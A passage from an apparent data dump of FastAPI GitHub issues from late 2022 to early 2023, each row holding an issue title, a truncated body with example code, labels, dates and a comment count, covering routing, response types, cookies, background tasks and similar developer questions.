- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆


### Description

I have a fairly complex base class in an app which I want to reuse throughout for ease of implementation and readability. However, the types of the input arguments to each of the underlying API routes changes depending on the route. To summarise the issue, I have made a very basic implementation with similar logic below:

Filename=`test.py`:
```python
from typing import Generic, List, TypeVar
from fastapi import APIRouter, FastAPI

app = FastAPI()

T = TypeVar(""T"")

class Test(Generic[T]):
    def __init__(self, route_base_name: str):
        # create routes
        self.router = APIRouter()
        self.router.add_api_route(
... [TRUNCATED]","question,question-migrate",2023-01-10T18:45:34Z,2023-02-24T16:29:58Z,4
tiangolo/fastapi,1526278570,Method Not Allowed when i use post,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import List
from fastapi import FastAPI
from uuid import UUID,uuid4
from models import User, Gender, Role

app = FastAPI()

db: List[User] = [
    User(
        id=uuid4(),
        first_name=""John"",
        last_name=""Doe"",
        gender=Gender.male,
        roles=[Role.user]
         ),
    User(
        id=UUID(""3f4f106b-1758-4e1f-a5ac-205ad4a177bf""),
        first_name=""Natalia"",
        last_name=""Landofdawn"",
        gender=Gender.female,
        roles=[Role.user,Role.admin]
         )
]

@app.get('/')
async def root():
    return {""hello"":""world""}

@app.get('/api/v1/users')
async def fetch_users():
  ... [TRUNCATED]","question,question-migrate",2023-01-09T20:30:14Z,2023-02-27T19:07:18Z,2
tiangolo/fastapi,1525943686,FastAPI don't call pydantic to json,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import json

from fastapi import FastAPI
from pydantic import BaseModel


def json_dump(*args, **kwargs):
    print('HELLO')
    return json.dumps(*args, **kwargs)

class MyModel(BaseModel):

    class Config:
        json_dumps = json_dump

    a : int


data = MyModel(a=1)

data.json()

app = FastAPI()

@app.post(""/hello/"", response_model=MyModel)
async def hello() -> MyModel:
    return MyModel(a=1)


import uvicorn

uvicorn.run(app)

### on client.py side
from httpx import Client

with Client(base_url=""http://localhost:8000"") as ac:
    resp = ac.post(
        ""/hello/"",
    )

>>> HELLO
```


### Descript... [TRUNCATED]","question,question-migrate",2023-01-09T16:43:45Z,2023-02-24T16:29:55Z,5
tiangolo/fastapi,1525365311,fastapi.exceptions.FastAPIError: Invalid args for response field! Hint: check that <class 'starlette.responses.JSONResponse'> is a valid pydantic field type,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import logging

from fastapi import APIRouter
from fastapi.responses import JSONResponse

liveness = True

router = APIRouter()


@router.get(
    ""/livez"",
    summary=""Liveness probe"",
    description=""Returns 200 if the service is alive"",
)
async def get_liveness() -> JSONResponse:
    logging.debug(""GET /livez"")
    if liveness:
        return JSONResponse(status_code=200, content={""status"": ""ok""})
    else:
        return JSONResponse(status_code=500, content={""status"": ""not ok""})
```


### Description

With version 0.88.0, my unit tests run fine, I get no error. With version 0.89.0, I get the following error:

```
/root/.... [TRUNCATED]","bug,answered,reviewed",2023-01-09T11:05:37Z,2023-02-06T11:08:59Z,18
tiangolo/fastapi,1525287119,FastAPI==0.89.0 Cannot use `None` as a return type when `status_code` is set to 204 with `from __future__ import annotations`,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from __future__ import annotations 

from fastapi import FastAPI

app = FastAPI()


@app.get(""/"", status_code=204)
def read_root() -> None:
    return {""Hello"": ""World""}
```


### Description

If we add:
`from __future__ import annotations`

It changes the annotations structure and the response model is `NoneType` instead of `None`, which causes validation of the `statuc_code` vs `response_model` and raises an exception.

```python
  ...
  File "".../site-packages/fastapi/routing.py"", line 635, in decorator
    self.add_api_route(
  File "".../site-packages/fastapi/routing.py"", line 574, in add_api_route
    route = route_class(
  F... [TRUNCATED]","question,question-migrate",2023-01-09T10:14:01Z,2023-02-24T16:29:52Z,2
tiangolo/fastapi,1524587957,In fastapi==0.89.0 add_api_route fails with FileResponse,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
from fastapi.responses import FileResponse

from pathlib2 import Path

app = FastAPI()

@app.get(""/favicon.ico"")
def favicon() -> FileResponse:
    result = FileResponse(
        path='C:\\TEMP\\favicon.ico', -- any valid path, this is an example for Windows
        status_code=200,
        media_type='image/png',
        filename='favicon.ico',
    )
    return result
```


### Description

When using FileResponse as documented here: https://fastapi.tiangolo.com/advanced/custom-response/#fileresponse
and upgrading to fastapi==0.89.0 (works on 0.88.0) exception is thrown:

   File ""/usr/local/lib/python3.... [TRUNCATED]","bug,answered,reviewed",2023-01-08T16:50:56Z,2023-01-21T00:13:33Z,11
tiangolo/fastapi,1523904307,how to mount two sub app with its own static files?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
from fastapi.staticfiles import StaticFiles

app = FastAPI()
subapp1= FastAPI()
subapp2 = FastAPI()

app.mount(""/subapp1"", subapp1)
app.mount(""/subapp2"", subapp2)

subapp1.mount(
    ""/assets"",
    StaticFiles(directory=""app/subapp1/frontend/dist/assets""),
)
subapp2.mount(
    ""/assets"",
    StaticFiles(directory=""app/subapp2/frontend/dist/assets""),
)

@subapp1.get(""/"")
async def subapp1():
    return FileResponse(""app/subapp1/frontend/dist/index.html"")
@subapp2.get(""/"")
async def subapp2():
    return FileResponse(""app/subapp2/frontend/dist/index.html"")


if __name__ == ""__main... [TRUNCATED]","question,question-migrate",2023-01-07T15:12:13Z,2023-02-27T19:07:16Z,1
tiangolo/fastapi,1522525232,Problem with Concurrency Request: High Response time,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code 
main.py:

```python
import os
import sys
import json
import time
from lib.UserID import UserID

from model.ModelUserToken import ModelUserToken

from fastapi import FastAPI, Depends, Body, Request
from fastapi.middleware.cors import CORSMiddleware
from fastapi.concurrency import run_in_threadpool
from pydantic import BaseModel
from prometheus_fastapi_instrumentator import Instrumentator
import resource
import uuid
import loguru


#Load the key of the tenant
with open(os.path.join(sys.path[0], ""/app/data/key.json""), ""r"") as f:
    data = json.load(f)

kid_crm = data['CRM']['credentialId']
signature_base64_crm = data['CR... [TRUNCATED]","question,question-migrate",2023-01-06T12:41:21Z,2023-02-24T16:29:47Z,11
tiangolo/fastapi,1520678191,Only one of multiple Background Tasks is ever being run per request,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import APIRouter, BackgroundTasks

router = APIRouter()

def test_func(s: str) -> bool:
    print(f""~~~ test_func: {s}"")
    return True


@router.get(
    ""/test"",
)
def get_test(background_tasks: BackgroundTasks) -> dict:
    background_tasks.add_task(test_func, ""one"") # Only this task's output will be logged
    background_tasks.add_task(test_func, ""two"")
    background_tasks.add_task(test_func, ""three"")
    return {""message"": ""test""}
```


### Description

- I add multiple background tasks when calling my API endpoint
- I expect each added task to be performed
- Instead, only the first task a... [TRUNCATED]","question,question-migrate",2023-01-05T12:35:39Z,2023-02-27T19:07:13Z,5
tiangolo/fastapi,1520374322,Required Body argument with None is not supported,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [x] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI, Body
from typing import Optional

app = FastAPI()

@app.post(""/"")
def post_data(data: Union[str, None] = Body(...)):
      pass
```


### Description

According to the [documentation](https://fastapi.tiangolo.com/tutorial/query-params-str-validations/?h=required+none#required-with-none), it is possible to handle a `None` value for **required** argument provided by the user. First of all, the example in the documentation doesn't really make sense, since a Python `None` (i.e. a JSON `null`) can not be provided in the query a GET request, but has to be sent through the body of a POST/PUT request.
Nevertheless, this i... [TRUNCATED]","question,question-migrate",2023-01-05T09:11:02Z,2023-02-24T16:29:44Z,2
tiangolo/fastapi,1519673112,Setting favicon in FastAPI over https,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import APIRouter
from fastapi.responses import FileResponse


router = APIRouter(prefix=""/favicon.ico"")

favicon_path = ""./static/images/favicon/ball.ico""


@router.get(""/"", include_in_schema=False)
def favicon():
    return FileResponse(favicon_path)
```


### Description

I have deployed an API on a Ubuntu server and set-up Nginx and SSL so that all requests are made through https.

In FastAPI, I have set a favicon route to set the favicon for the site and this works during development, however in production I get the following error message in the browser console:

`Mixed Content: The page at 'https://thefootballdata.co... [TRUNCATED]","question,question-migrate",2023-01-04T22:35:08Z,2023-02-27T19:07:11Z,1
tiangolo/fastapi,1519562282,Armenian translations,"## Armenian translations

This is the issue to track translations of the docs to Armenian. 🚀

### Description

Hi -  Ողջույն `HY`
Welcome to the issue that coordinates the Armenian translation effort.

Purpose
Avoiding several people working on the same document at the same time.
The first person who declares that he/she is working on a translation gets the responsibility to carry it out. If a PR seems to be stalled, we can discuss a transfer of responsibility here.

Enforcing best practices
Best practices are listed later in this description. You can propose your practice at any time, ideally with a supporting source and an example.

Defining and sharing best practices will help to avoid common mistakes and will allow faster and easier reviews.

Help and build the community
Do not hesitate to ask any questions regarding the Armenian translation effort here. The stronger the community, the more effective we will be and the more we will enjoy.

Provide an Armenian translation for this awesome library (last but not least)
If you are here, you probably like FastAPI, and maybe you even speak Armenian. Giving more people the opportunity to get started using the documentation in its native language will encourage adoption. In that spirit, let's contribute to the magic of open source in this way.

How to contribute
Review
Keep in mind that the easiest way to participate is to review the PRs. We need to avoid accumulating PRs waiting for review.

Translate... [TRUNCATED]","feature,lang-all,lang-hy",2023-01-04T20:57:58Z,2023-03-04T10:23:43Z,2
tiangolo/fastapi,1519550270,Try it out button not working using root_path with ApiGateway,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
#main.py

from fastapi import FastAPI
from fastapi.openapi.utils import get_openapi

from test_api.router import *

logger = logging.getLogger(__name__)

app = FastAPI(
    title=""test_API"",
    root_path=""/test"",
)

app.include_router(router)

description = """"""
Test API overview
""""""

def custom_openapi():
    if app.openapi_schema:
        return app.openapi_schema
    openapi_schema = get_openapi(
        title=""Test API"",
        version=""0.0.1"",
        description=description,
        routes=app.routes,
    )
    openapi_schema[""info""][""x-logo""] = {
        ""url"": ""https://fastapi.tiangolo.com/img/logo-margin/logo-t... [TRUNCATED]","question,question-migrate",2023-01-04T20:45:46Z,2023-02-27T19:07:08Z,1
tiangolo/fastapi,1519108307,The browser cannot receive cookies from FastAPI set_cookie methods,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@app.post('/login', summary='Create access and refresh tokens for user', response_model=TokenSchema)
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    ...

    response = JSONResponse({'access_token': create_access_token(user['id'])})
    response.set_cookie(key='refresh_token_test', value=create_refresh_token(user['id']),
                        max_age=REFRESH_TOKEN_EXPIRE_MINUTES, httponly=False, samesite='none', domain='http://localhost:3000')

    return response
```


### Description

Currently, I am using a backend with FastAPI (port 8000) and a frontend with Solid-JS (port 3000).

I want to send a refresh token ... [TRUNCATED]","question,question-migrate",2023-01-04T14:49:30Z,2023-02-24T16:29:41Z,2
tiangolo/fastapi,1518886246,Not able to send a post request using a Python Script,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import requests
import json

login_url = ""https://thefootballdata.com/api/login""
post_url = ""https://thefootballdata.com/api/teams""

login_response = requests.post(login_url, data=login_payload)
access_token = login_response.json()[""access_token""]

payload = json.dumps({
  ""full_name"": ""Andreas Calleja"",
  ""name"": ""Andreas""
})

headers = {
  'Authorization': f""Bearer {access_token}"",
  'Content-Type': 'application/json'
}

response = requests.request(""POST"", upost_urlrl, headers=headers, data=payload)

print(response.text)
```


### Description

I built my first API using FastAPI and after completing development and deployed my a... [TRUNCATED]","question,question-migrate",2023-01-04T12:23:41Z,2023-02-27T19:07:06Z,1
tiangolo/fastapi,1517505859,Is there support for compression of jsonified pydantic objects sent in responses?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
n/a
```


### Description

I have an application where I return large json documents. I would like to compress them. Does FastAPI currently do this for me, and if not, is there a way I can enable compression? My understanding is that if I have full control of the http response I can do this by compressing myself and specifying certain headers (https://developer.mozilla.org/en-US/docs/Web/HTTP/Compression) but I am wondering if there's a way for me to avoid that and be able to keep using FastAPI's nice system of being able to return a pydantic object and have it be automatically serialized?

Thanks!

### Operating System

macOS

### Operating System... [TRUNCATED]","question,question-migrate",2023-01-03T14:57:27Z,2023-02-27T19:07:04Z,2
tiangolo/fastapi,1517214702,"How to implement Multi tenancy in FastAPI, SQLAlchemy and Postgresql?","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from sqlalchemy import Boolean, Column, ForeignKey, Integer, String


class Tenant(Base):
    __tablename__ = ""tenants""

    id = Column(""id"", Integer, primary_key=True, nullable=False)
    name = Column(""name"", String(256), nullable=False, index=True, unique=True)
    schema = Column(""schema"", String(256), nullable=False, unique=True)
    host = Column(""host"", String(256), nullable=False, unique=True)
    

    __table_args__ = ({""schema"": ""shared""},)
```


### Description

Found an [Article](https://mergeboard.com/blog/6-multitenancy-fastapi-sqlalchemy-postgresql/) but unable to understand how to implement dynamic schema generation when... [TRUNCATED]","question,question-migrate",2023-01-03T10:44:31Z,2023-02-24T16:29:38Z,4
tiangolo/fastapi,1517047507,Fastapi ,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
import gradio as gr

CUSTOM_PATH = ""/gradio""

app = FastAPI()

@app.get(""/"")
def read_main():
    return {""message"": ""This is your main app""}

io = gr.Interface(lambda x: ""Hello, "" + x + ""!"", ""textbox"", ""textbox"")
gradio_app = gr.routes.App.create_app(io)

app.mount(CUSTOM_PATH, gradio_app)
```


### Description

I want to restrict /gradio that only login user can access this 
Can I use some condition like user login and subscribed or not 

### Operating System

Windows

### Operating System Details

_No response_

### FastAPI Version

Latest install with pip

### Python Version

3.9

### Additional Context
... [TRUNCATED]","question,question-migrate",2023-01-03T08:01:49Z,2023-02-27T19:07:00Z,3
tiangolo/fastapi,1516592269,field required (type=value_error.missing),"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import uvicorn
from fastapi import FastAPI
from pydantic import BaseModel, EmailStr

class rdUserBase(BaseModel):
    username: str
    email: EmailStr
    full_name: str = None

class rdUserIn(rdUserBase):
    password: str

class rdUserOut(rdUserBase):
    pass

class rdUserInDB(rdUserBase):
    hased_password: str

def rdFake_password_hasher(raw_password: str):
    return ""supersecret"" + raw_password

def rdFake_save_user(user_in: rdUserIn):
    hashed_password = rdFake_password_hasher(user_in.password)
    user_in_db = rdUserInDB(**user_in.dict(), hashed_password=hashed_password)
    print(""User Saved! ..not really"")
    ... [TRUNCATED]","question,answered,reviewed,question-migrate",2023-01-02T17:25:51Z,2023-02-27T19:06:58Z,1
tiangolo/fastapi,1514436169,Starting fastapi with on_event() from user-supplied CLI arguments,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
app = FastAPI()
    
@app.get(""/item"")
def do_get_item(p3):
    return get_item()

@app.on_event(""startup"")
def app_startup(p1, p2):
    do_startup_stuff(p1, p2)

@app.on_event(""shutdown"")
def app_shutdown(p4):
    do_shutdown_stuff(p4)

def main(args):
    p1 = args[0]
    p2 = args[1]

    uvicorn.run(app)

if __name__ == ""__main__"":
    main(sys.argv)


Command Line 
> python myapp.py --p1 avatar2 --p2 watery
```


### Description

This question is (sort-of) related to https://github.com/tiangolo/fastapi/issues/4706#issue-1174678154.

I want to startup fastapi with user-supplied command line argum... [TRUNCATED]","question,question-migrate",2022-12-30T10:54:31Z,2023-02-24T16:29:36Z,1
tiangolo/fastapi,1513861070,ClientDisconnected immediately after adding background task in which I access the request body as a stream,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import aioredis
from fastapi import FastAPI, HTTPException, Request, status, BackgroundTasks
from fastapi.exceptions import HTTPException
from pydantic import BaseModel, Field
from streaming_form_data import StreamingFormDataParser
from streaming_form_data.targets import FileTarget, ValueTarget
from streaming_form_data.validators import MaxSizeValidator
from uuid import UUID, uuid4
import os


MAX_FILE_SIZE = 1024 * 1024 * 1024 * 4  # = 4GB
MAX_REQUEST_BODY_SIZE = MAX_FILE_SIZE + 1024

app = FastAPI()
redis = aioredis.from_url(""redis://localhost:6379"", decode_responses=True)


class UploadResult(BaseModel):
    file_size: int
    ... [TRUNCATED]","question,question-migrate",2022-12-29T16:00:28Z,2023-02-24T16:29:33Z,2
tiangolo/fastapi,1512386762,Random behaviour of `Depends` functionality. ,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
'''Main Websocket Route'''

@app.websocket(""/{obj_id}"")
async def websocket_endpoint(websocket: WebSocket, obj_id: str, active_clients = Depends(get_active_clients)):
    await websocket.accept()
    try:
        await ws_manager.connect(websocket, obj_id, active_clients)
    except WebSocketDisconnect:
        await websocket.close() 

'''Connection Manager'''
class ConnectionManager:
 
    async def connect(self, websocket: WebSocket, obj_id: str, active_connections):
        client = ServerPoint(obj_id, websocket)
        try:        
            active_connections[cp_id] = client
            await client.start()

        except... [TRUNCATED]","question,question-migrate",2022-12-28T04:27:26Z,2023-02-24T16:29:31Z,2
tiangolo/fastapi,1512332385,TrustedHostMiddleware ignores port in Host header,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
app = FastAPI()
app.add_middleware(
    TrustedHostMiddleware,
    allowed_hosts=[""localhost:8000""]
)
```


### Description

Using the provided example code and making a request from localhost:8000 I get an ""Invalid host header"" response, even though looking at dev tools in chrome the header is `Host: localhost:8000`

If I change to `allowed_hosts=[""localhost""]` it works fine.

I understand it's a trusted host, and not a trusted port, but seems strange to me that it says invalid host header even though thats exactly what the browser is sending in the host header.

Not sure if this is intended behaviour or not.

###... [TRUNCATED]","question,question-migrate",2022-12-28T02:25:44Z,2023-02-27T19:06:55Z,7
tiangolo/fastapi,1508981326,Uploading a PSV (Pipe separated Values) file and using pandas to read the first 1000 rows without writing to disk,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
